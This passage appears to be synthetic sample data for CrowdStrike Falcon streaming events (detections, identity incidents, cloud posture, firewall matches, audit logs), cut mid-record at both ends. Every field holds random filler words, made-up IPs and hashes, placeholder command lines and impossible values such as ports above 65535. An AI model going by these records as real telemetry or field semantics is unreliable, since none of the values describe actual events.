"RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "somebodyforest","HostnameField": "wheresedge","UserName": "hisbale","StartTimestamp": 1582830734,"AgentIdString": "a lotprogram"}} +{"metadata": {"customerIDString": "theretime","offset": 213099884,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "obedientcare","DetectName": "lots ofblock","DetectDescription": "station bottle stack dynasty lamb animal leap woman trip wisp day dream way brilliance beans hedge king enthusiasticman","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/ournumber?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 7,"SeverityName": "High","Tactic": "thereluck","Technique": "Chineseparty","Objective": "emptytroupe","SourceAccountDomain": "dizzyingposse","SourceAccountName": "Balineseelegance","SourceAccountObjectSid": "numerousdream","SourceEndpointAccountObjectGuid": "thoughtfuldeer","SourceEndpointAccountObjectSid": "whycheese","SourceEndpointHostName": "whosefoot","SourceEndpointIpAddress": "223.140.102.228","SourceEndpointSensorId": "enoughpatrol","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "Japaneselife","PatternId": -380100246}} +{"metadata": {"customerIDString": "wheresofa","offset": 1880427403,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "enoughtime","Region": "us-east-2","ResourceId": "whatfact","ResourceIdType": "couplerhythm","ResourceName": "significantmob","ResourceCreateTime": 0,"PolicyStatement": "over thereset","PolicyId": 1987705020,"Severity": 15,"SeverityName": "Medium","CloudPlatform": "allbattery","CloudService": "mytribe","Disposition": "Failed","ResourceUrl": "thatintelligence","Finding": "someonewealth","Tags": [{"Key": "howmob","ValueString": "quaintwidth"}],"ReportUrl": "theredoctor","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "elegantcap","offset": 1119455354,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "Machiavelliangossip","MobileDetectionId": 1572789320,"ComputerName": "hundredcompany","UserName": "a lotmarriage","ContextTimeStamp": 1649061056,"DetectId": "onecluster","DetectName": "neitherdarkness","DetectDescription": "plant tribe tunnel television way abundantbunch","Tactic": "mything","TacticId": "Parisianlamp","Technique": "brownscold","TechniqueId": "hermother","Objective": "over thereanthology","Severity": 38,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thatpride?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "someoneharvest","AndroidAppLabel": "over thereflock","DexFileHashes": "smoggybunch","ImageFileName": "therepod","AppInstallerInformation": "therenest","IsBeingDebugged": true,"AndroidAppVersionName": "repulsivestand","IsContainerized": true}]}} +{"metadata": {"customerIDString": "heredentist","offset": -790417217,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "onehand","HostnameField": "stupidtrip","UserName": "someflock","StartTimestamp": 1582830734,"AgentIdString": "manygovernment"}} +{"metadata": {"customerIDString": "itsedge","offset": -1898740542,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "whystaff","DataDomains": "Cloud","Description": "trade clarity bunch cat crew electricity band thought fuel howfleet","DetectId": "couplecompany","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "192.109.66.89","HostNames": "somebodyleap","Name": "allman","PatternId": 808009428,"Severity": 85,"SourceProducts": "substantialenergy","SourceVendors": "itslife","StartTimeEpoch": 1643317697728000000,"TacticIds": "Colombianbaby","Tactics": "nobodyengine","TechniqueIds": "howcompany","Techniques": "Alaskantent","XdrType": "xdr-scheduled-search" } }} +{"metadata": {"customerIDString": "greatfailure","offset": 149873024,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "Viennesecovey","IncidentDescription": "child suitcase range gas station wealth lamb lamb publicity station party tomatoes troop eye union choir tent howexaltation","Severity": 24,"SeverityName": "Medium","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "uglyluck","UserName": "enchantednews","EndpointName": "everyonebale","EndpointIp": "101.177.37.39","Category": "Detections","NumbersOfAlerts": 786630224,"NumberOfCompromisedEntities": 1582548137,"State": "NEW","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/joyoushorror?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "yourream","offset": 1961545286,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "toocackle","UserID": "whatbrace","ExecutionID": "whytable","ReportID": "everyoneparty","ReportName": "Lebanesebatch","ReportType": "Diabolicaleye","ReportFileReference": "everythingboat","Status": "Spanishline","StatusMessage": "hisstar","ExecutionMetadata": {"ExecutionStart": 1120190420,"ExecutionDuration": -615806240,"ReportFileName": "thesemustering","ResultCount": -143096838,"ResultID": "coupleroad","SearchWindowStart": 549100716,"SearchWindowEnd": 1553138222}}} +{"metadata": {"customerIDString": "whatgroup","offset": 1034109684,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "Barcelonianmurder","UserIp": "105.162.182.4","OperationName": "createUser","ServiceName": "Crowdstrike Streaming API","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "hereshower","ValueString": "anythingcompany"}],"Attributes": {"actor_cid": "manysafety","actor_user": "sufficientpaper","actor_user_uuid": "fewelegance","app_id": "whichmotherhood","saml_assertion": "condemnedcheese","target_user": "onelips","trace_id": "amusedbale"}}} +{"metadata": {"customerIDString": "Burkinesecup","offset": 305373083,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "significantbrace","UserIp": "110.77.63.34","OperationName": "selfAcceptEula","ServiceName": "detections","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "lonelyyear","ValueString": "whichevidence"}],"Attributes": {"actor_cid": "smilingbattery","actor_user": "itsmedicine","actor_user_uuid": "eithercaptain","app_id": "Spanishsedge","saml_assertion": "a little bitnest","target_user": "awfulluxury","trace_id": "whatgirl"}}} +{"metadata": {"customerIDString": "whyquantity","offset": 1896250844,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 374328473,"ProcessEndTime": 1925826440,"ProcessId": 471551332,"ParentProcessId": 1611641070,"ComputerName": "repulsivejustice","UserName": "thereright","DetectName": "anyonestring","DetectDescription": "part line choir advantage happiness cackle posse mob troop bundle crew time nest whereimagination","Severity": 0,"SeverityName": "Low","FileName": "littletroupe","FilePath": "ourcrew\\littletroupe","CommandLine": "C:\\Windows\\itscomputer","SHA256String": "Alaskanline","MD5String": "someoneemployment","SHA1String": "lovelycongregation","MachineDomain": "mybevy","NetworkAccesses": [{"AccessType": -81898620,"AccessTimestamp": 1751371565,"Protocol": "Romanianreligion","LocalAddress": "204.59.171.39","LocalPort": 10526,"RemoteAddress": "205.40.121.146","RemotePort": 14937,"ConnectionDirection": 1,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/enough offurniture?_cid=xxxxxxx","SensorId": "hertroupe","IOCType": "hash_sha256","IOCValue": "worrisomewisp","DetectId": "thesebatch","LocalIP": "132.4.202.152","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "yourproblem","Technique": "charmingyouth","Objective": "fullcompany","PatternDispositionDescription": "posse trend herewater","PatternDispositionValue": -134342907,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": true,"SensorOnly": false,"Rooting": false,"KillProcess": true,"KillSubProcess": true,"QuarantineMachine": true,"QuarantineFile": false,"PolicyDisabled": true,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": true,"RegistryOperationBlocked": false,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": false,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": true,"SuspendParent": false},"ParentImageFileName": "severalcabinet","ParentCommandLine": "manyunderstanding","GrandparentImageFileName": "whyharvest","GrandparentCommandLine": "thosecomb","HostGroups": "Welshstaff","AssociatedFile": "whichrubbish","PatternId": -78970361}} +{"metadata": {"customerIDString": "whichchest","offset": -370463590,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "uglyband","UserIp": "42.215.240.82","OperationName": "deactivateUser","ServiceName": "Crowdstrike Streaming API","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "thattown","ValueString": "emptygroup"}],"Attributes": {"actor_cid": "a lotsalt","actor_user": "lots ofannoyance","actor_user_uuid": "wheretroop","app_id": "itsroom (space)","saml_assertion": "everythingwashing machine","target_user": "braveglasses","trace_id": "somebodybatch"}}} +{"metadata": {"customerIDString": "anythingway","offset": 467314223,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "hungrycase","UserIp": "54.163.170.166","OperationName": "updateUserRoles","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "Jungiancaravan","ValueString": "thosegown"}],"Attributes": {"actor_cid": "hiskid","actor_user": "herclass","actor_user_uuid": "perfectmob","app_id": "Italianforest","saml_assertion": "uglyginger","target_user": "someonepod","trace_id": "therebevy"}}} +{"metadata": {"customerIDString": "so fewquiver","offset": 1070716380,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "anythingtour","DetectName": "whichleap","DetectDescription": "laptop somebodything","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whereboard?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 36,"SeverityName": "Informational","Tactic": "myposse","Technique": "significantstack","Objective": "wanderingmob","SourceAccountDomain": "poisedapartment","SourceAccountName": "somepoint","SourceAccountObjectSid": "whoseday","SourceEndpointAccountObjectGuid": "anyonearmy","SourceEndpointAccountObjectSid": "thosecrew","SourceEndpointHostName": "oneturtle","SourceEndpointIpAddress": "247.26.195.106","SourceEndpointSensorId": "itsinformation","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "whatbevy","PatternId": -1220474550}} +{"metadata": {"customerIDString": "eachunderstanding","offset": -587153472,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "wrongcollection","MobileDetectionId": -574613663,"ComputerName": "wherebody","UserName": "drabposse","ContextTimeStamp": 1649061056,"DetectId": "myheat","DetectName": "thosefact","DetectDescription": "table heap deceit star bowl tour cloud bunch riches time nutrition collection air part seed everybodypacket","Tactic": "Christianrefrigerator","TacticId": "Sudanesedata","Technique": "enough ofgossip","TechniqueId": "hundredsthing","Objective": "victoriousproject","Severity": 21,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/arrogantroom?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "itsboxers","AndroidAppLabel": "foolishschool","DexFileHashes": "outstandingbattery","ImageFileName": "wherechild","AppInstallerInformation": "Bismarckianteam","IsBeingDebugged": false,"AndroidAppVersionName": "myrestaurant","IsContainerized": false}]}} +{"metadata": {"customerIDString": "whoseapp","offset": -425822831,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "theirverb","HostnameField": "herestupidity","UserName": "somebodycarpet","StartTimestamp": 1582830734,"AgentIdString": "thistablet"}} +{"metadata": {"customerIDString": "zealouspopcorn","offset": -1751655908,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "whatfact","DataDomains": "Email","Description": "brace kindness sugar heap case staff fish company judge book snow paper laughter crow significantadvice","DetectId": "thoseexaltation","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "254.183.207.200","HostNames": "Chinesepicture","Name": "hiscatalog","PatternId": -2111882047,"Severity": 88,"SourceProducts": "itsflock","SourceVendors": "theirrice","StartTimeEpoch": 1643317697728000000,"TacticIds": "thesesand","Tactics": "hercluster","TechniqueIds": "couplebunch","Techniques": "everybodyline","XdrType": "xdr-scheduled-search" } }} +{"metadata": {"customerIDString": "itsgrandfather","offset": 1099121215,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "greatwork","Region": "us-west-1","ResourceId": "thereeducation","ResourceIdType": "someonemustering","ResourceName": "realistichospital","ResourceCreateTime": 0,"PolicyStatement": "couplesolitude","PolicyId": -787790530,"Severity": 10,"SeverityName": "High","CloudPlatform": "coupleadvantage","CloudService": "lots ofsock","Disposition": "Passed","ResourceUrl": "Hitleriantrip","Finding": "itcatalog","Tags": [{"Key": "over thereunderstanding","ValueString": "horriblewisp"}],"ReportUrl": "everybodymob","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "yourwork","offset": 1076918008,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "substantialusage","UserIp": "179.135.243.128","OperationName": "grantCustomerSubscriptions","ServiceName": "Crowdstrike Streaming API","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "tastyanswer","ValueString": "anyscold"}],"Attributes": {"actor_cid": "tensewindow","actor_user": "littlearmy","actor_user_uuid": "Einsteinianbelief","app_id": "fewspaghetti","saml_assertion": "Britishneck","target_user": "everybodyhand","trace_id": "whatcase"}}} +{"metadata": {"customerIDString": "everybodyset","offset": 836335149,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "severalalligator","MobileDetectionId": 1943762630,"ComputerName": "eagerhorde","UserName": "yourset","ContextTimeStamp": 1649061056,"DetectId": "noneface","DetectName": "somebodyfreedom","DetectDescription": "life tooriches","Tactic": "wheresuccess","TacticId": "scarycrowd","Technique": "fewcatalog","TechniqueId": "Finnishbitterness","Objective": "thathand","Severity": 70,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Sammarinesenotebook?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "gentlebrother","AndroidAppLabel": "puzzledbasket","DexFileHashes": "awfulgalaxy","ImageFileName": "ourcup","AppInstallerInformation": "Polynesiantroupe","IsBeingDebugged": false,"AndroidAppVersionName": "Gaussianplace","IsContainerized": true}]}} +{"metadata": {"customerIDString": "severaljoy","offset": 516490988,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "jealousfriend","PolicyId": 469826311,"PolicyStatement": "thatbouquet","CloudProvider": "Newtonianparrot","CloudService": "dizzyingcovey","Severity": 46,"SeverityName": "Medium","EventAction": "Lebanesemob","EventSource": "oneparty","EventCreatedTimestamp": 1663011160,"UserId": "doublecluster","UserName": "nervousscold","UserSourceIp": "53.155.232.168","Tactic": "doublegrandfather","Technique": "toobeach"}} +{"metadata": {"customerIDString": "Peruvianpod","offset": 550404721,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "ourgloves","CustomerId": "neitherpart","Ipv": "8.47.107.55","CommandLine": "ourthing","ConnectionDirection": "0","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": true,"Log": false,"Monitor": false},"HostName": "fancyprogress","ICMPCode": "whosegroup","ICMPType": "thosearmy","ImageFileName": "yourcrowd","LocalAddress": "143.162.134.202","LocalPort": "68492","MatchCount": -1188814932,"MatchCountSinceLastReport": -1389098824,"NetworkProfile": "anyonenoun","PID": "1819726482","PolicyName": "wanderingcast","PolicyID": "ourbody","Protocol": "Middle Easternawareness","RemoteAddress": "166.172.215.153","RemotePort": "71013","RuleAction": "Barcelonianarrow","RuleDescription": "truth company sister set fact pod harvest brace smoke year theregame","RuleFamilyID": "severaltiming","RuleGroupName": "Monacanwoman","RuleName": "wickedbale","RuleId": "whymuster","Status": "yourbutter","Timestamp": 1751371830,"TreeID": "onecase"}} +{"metadata": {"customerIDString": "significantream","offset": -900942813,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "howworld","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\Mozartianteam","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Cloud","Description": "work dangerousflock","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/hisproblem?_cid=xxxxxxx","FileName": "anyhall","FilePath": "eachline\\anyhall","FilesAccessed": [{"FileName": "anyhall","FilePath": "eachline\\anyhall","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "anyhall","FilePath": "eachline\\anyhall","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\herearmy","GrandParentImageFileName": "wherecat","GrandParentImageFilePath": "herehospital\\wherecat","HostGroups": "whitesecond","Hostname": "itsday","LocalIP": "41.220.181.243","LocalIPv6": "98.238.152.78","LogonDomain": "someonecluster","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "thisluxury","Name": "manythrill","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 1302319275,"ConnectionDirection": 1,"IsIPV6": false,"LocalAddress": "159.103.65.155","LocalPort": 18924,"Protocol": "Freudianbattery","RemoteAddress": "170.74.114.32","RemotePort": 17713}],"Objective": "itchybread","ParentCommandLine": "C:\\Windows\\whathen\\herrubbish","ParentImageFileName": "herrubbish","ParentImageFilePath": "somebodylie\\herrubbish","ParentProcessId": 996063762,"PatternDispositionDescription": "thing scold sorrow education quiver archipelago staff reel homework scold forest fewgroup","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": true,"Detect": false,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"InddetMask": false,"Indicator": false,"KillActionFailed": false,"KillParent": true,"KillProcess": true,"KillSubProcess": false,"OperationBlocked": false,"PolicyDisabled": false,"ProcessBlocked": true,"QuarantineFile": false,"QuarantineMachine": false,"RegistryOperationBlocked": true,"Rooting": false,"SensorOnly": false,"SuspendParent": false,"SuspendProcess": true},"PatternDispositionValue": -1578117058,"PatternId": -1580414227,"PlatformId": "itsmustering","PlatformName": "Mac","ProcessEndTime": -505637706,"ProcessId": -1545954875,"ProcessStartTime": 1877761422,"ReferrerUrl": "whatfinger","SHA1String": "someonebowl","SHA256String": "itgovernment","Severity": 74,"SeverityName": "High","SourceProducts": "a little bitboard","SourceVendors": "wrongplace","Tactic": "thisbevy","Technique": "whosefood","Type": "ofp","UserName": "doubletown"}} +{"metadata": {"customerIDString": "theirschool","offset": -104094373,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -234636472,"ProcessEndTime": 1339241224,"ProcessId": 1065673297,"ParentProcessId": -1472960077,"ComputerName": "noneline","UserName": "Bahamiansnowman","DetectName": "itcomputer","DetectDescription": "album mob archipelago friendship success horde company batch right harvest dream guilt heat group shop energy woman nap hisperson","Severity": 0,"SeverityName": "Low","FileName": "itsleap","FilePath": "smoggybale\\itsleap","CommandLine": "C:\\Windows\\knightlybattery","SHA256String": "eachadvertising","MD5String": "herehorror","SHA1String": "fullrice","MachineDomain": "faithfulcrime","NetworkAccesses": [{"AccessType": -1852376208,"AccessTimestamp": 1751371565,"Protocol": "coupleworld","LocalAddress": "87.185.241.72","LocalPort": 25948,"RemoteAddress": "215.250.80.64","RemotePort": 64750,"ConnectionDirection": 1,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/South Americanmilk?_cid=xxxxxxx","SensorId": "wheresinger","IOCType": "command_line","IOCValue": "somebodycase","DetectId": "theseenthusiasm","LocalIP": "33.102.92.179","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "jitterygroup","Technique": "upsetcoffee","Objective": "myblock","PatternDispositionDescription": "stupidity fact orchard range exaltation idea case product horde life troupe idea murder board holiday welfare girl thismuster","PatternDispositionValue": 154868586,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": false,"SensorOnly": false,"Rooting": true,"KillProcess": true,"KillSubProcess": false,"QuarantineMachine": false,"QuarantineFile": true,"PolicyDisabled": false,"KillParent": false,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": true,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": true,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "Atlanticsoup","ParentCommandLine": "a little bitvalley","GrandparentImageFileName": "Romanianyoga","GrandparentCommandLine": "thismustering","HostGroups": "allcollection","AssociatedFile": "Belgianlibrary","PatternId": 1038143163}} +{"metadata": {"customerIDString": "therebasket","offset": -1482063069,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "anythinglibrary","State": "closed","FineScore": 9.621915223550307,"LateralMovement": 0,"IncidentType": 2,"IncidentID": "sillybody","HostID": "thisquantity","LMHostIDs": ["theirrice"],"UserId": "someeye"}} +{"metadata": {"customerIDString": "theireye","offset": 1505022070,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "theseheap","IncidentDescription": "truth exaltation body courage river crowd crew chocolate problem pen metal stand riches toothbrush jealousy dream wealth board right way market bundle advice fantasticanthology","Severity": 73,"SeverityName": "Low","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "Slovakparty","UserName": "anythingring","EndpointName": "annoyingmarriage","EndpointIp": "7.236.10.163","Category": "Incidents","NumbersOfAlerts": 1201378806,"NumberOfCompromisedEntities": 1292674977,"State": "IN_PROGRESS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Koreanroad?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "couplehorror","offset": 154599492,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "thatstring","UserIp": "94.231.69.154","OperationName": "requestResetPassword","ServiceName": "detections","AuditKeyValues": [{"Key": "whatambulance","ValueString": "everybodyaunt"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "nichetroop"}}} +{"metadata": {"customerIDString": "whatmustering","offset": -783097223,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "Laotianoutfit","DetectName": "Thatcheriteemployment","DetectDescription": "host point life dog dynasty horror cast bill archipelago sorrow flock product determination set stack turkey hospital mob shower pronunciation murder anythingloneliness","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/wholepride?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 46,"SeverityName": "High","Tactic": "Gaussiansmoke","Technique": "obedientbunch","Objective": "outstandingwarmth","SourceAccountDomain": "Russianconfusion","SourceAccountName": "notroop","SourceAccountObjectSid": "therebatch","SourceEndpointAccountObjectGuid": "Danishtalent","SourceEndpointAccountObjectSid": "badbox","SourceEndpointHostName": "lots ofline","SourceEndpointIpAddress": "111.87.106.222","SourceEndpointSensorId": "thistroop","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "whichtroop","PatternId": 1871629415}} +{"metadata": {"customerIDString": "theirchoir","offset": 1707609541,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "mybatch","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\ourproduct","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "IoT","Description": "wisp care care covey heap train flock room youth accommodation wildlife bridge troop bird pronunciation bale fact rhythm whatheap","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Jungiangloves?_cid=xxxxxxx","FileName": "ourmob","FilePath": "blushinggrandmother\\ourmob","FilesAccessed": [{"FileName": "ourmob","FilePath": "blushinggrandmother\\ourmob","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "ourmob","FilePath": "blushinggrandmother\\ourmob","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\itsmurder","GrandParentImageFileName": "oursolitude","GrandParentImageFilePath": "theirpotato\\oursolitude","HostGroups": "hislife","Hostname": "whosekindness","LocalIP": "77.122.212.136","LocalIPv6": "101.94.203.39","LogonDomain": "thatchoir","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "significantthing","Name": "so fewbunch","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -290255403,"ConnectionDirection": 0,"IsIPV6": false,"LocalAddress": "128.130.162.113","LocalPort": 87664,"Protocol": "severallibrary","RemoteAddress": "10.119.10.40","RemotePort": 28306}],"Objective": "everybodyhail","ParentCommandLine": "C:\\Windows\\manyplace\\howtroupe","ParentImageFileName": "howtroupe","ParentImageFilePath": "fewposse\\howtroupe","ParentProcessId": -1183764153,"PatternDispositionDescription": "mob thing mob fun gas station team socks troupe ream posse tribe clump scold line brace fact elegance cackle cluster album thererange","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": false,"ContainmentFileSystem": true,"CriticalProcessDisabled": false,"Detect": true,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"InddetMask": true,"Indicator": true,"KillActionFailed": false,"KillParent": false,"KillProcess": true,"KillSubProcess": true,"OperationBlocked": false,"PolicyDisabled": false,"ProcessBlocked": false,"QuarantineFile": true,"QuarantineMachine": true,"RegistryOperationBlocked": true,"Rooting": false,"SensorOnly": false,"SuspendParent": false,"SuspendProcess": true},"PatternDispositionValue": 1417374195,"PatternId": 990773909,"PlatformId": "thisability","PlatformName": "Windows","ProcessEndTime": 1078347455,"ProcessId": 1807685076,"ProcessStartTime": 324949076,"ReferrerUrl": "severalsalt","SHA1String": "whatpack","SHA256String": "Turkishishmusic","Severity": 5,"SeverityName": "Informational","SourceProducts": "hisgang","SourceVendors": "whicheye","Tactic": "itschool","Technique": "thatoutfit","Type": "ldt","UserName": "thatbaby"}} +{"metadata": {"customerIDString": "eachhail","offset": 910054756,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "whychest","MobileDetectionId": -1066361567,"ComputerName": "therepollution","UserName": "lots ofchild","ContextTimeStamp": 1649061056,"DetectId": "plenty ofstack","DetectName": "everythingpain","DetectDescription": "hair troop advantage pod cloud regiment whichcase","Tactic": "doublesoup","TacticId": "thankfulgovernment","Technique": "noneexaltation","TechniqueId": "everythinggovernor","Objective": "Intelligenttime","Severity": 36,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/lemonycountry?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "victorioussolitude","AndroidAppLabel": "manydesk","DexFileHashes": "whoselife","ImageFileName": "Plutoniangoodness","AppInstallerInformation": "howday","IsBeingDebugged": true,"AndroidAppVersionName": "eithercase","IsContainerized": true}]}} +{"metadata": {"customerIDString": "nobodyheart","offset": -1480801993,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -664707217,"ProcessEndTime": 1356490391,"ProcessId": -439951165,"ParentProcessId": 463703834,"ComputerName": "whatcomb","UserName": "fewchoir","DetectName": "allsedge","DetectDescription": "muster brace flock line chest Sudanesesedge","Severity": 2,"SeverityName": "Low","FileName": "whypod","FilePath": "theseplace\\whypod","CommandLine": "C:\\Windows\\neithersparrow","SHA256String": "howspeed","MD5String": "herstraw","SHA1String": "emptypack","MachineDomain": "greatpainter","NetworkAccesses": [{"AccessType": 1649138494,"AccessTimestamp": 1751371565,"Protocol": "someonepatrol","LocalAddress": "153.130.99.166","LocalPort": 85526,"RemoteAddress": "195.189.167.229","RemotePort": 55938,"ConnectionDirection": 0,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/magnificentstand?_cid=xxxxxxx","SensorId": "Turkishdetermination","IOCType": "behavior","IOCValue": "toughway","DetectId": "howcaptain","LocalIP": "253.92.155.205","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "hundredtravel","Technique": "someonechapter","Objective": "nonebevy","PatternDispositionDescription": "irritation art time life choir crowd eye hand handsomewarmth","PatternDispositionValue": -354807263,"PatternDispositionFlags": {"Indicator": false,"Detect": false,"InddetMask": true,"SensorOnly": true,"Rooting": true,"KillProcess": true,"KillSubProcess": false,"QuarantineMachine": false,"QuarantineFile": false,"PolicyDisabled": false,"KillParent": false,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": true,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": true,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": 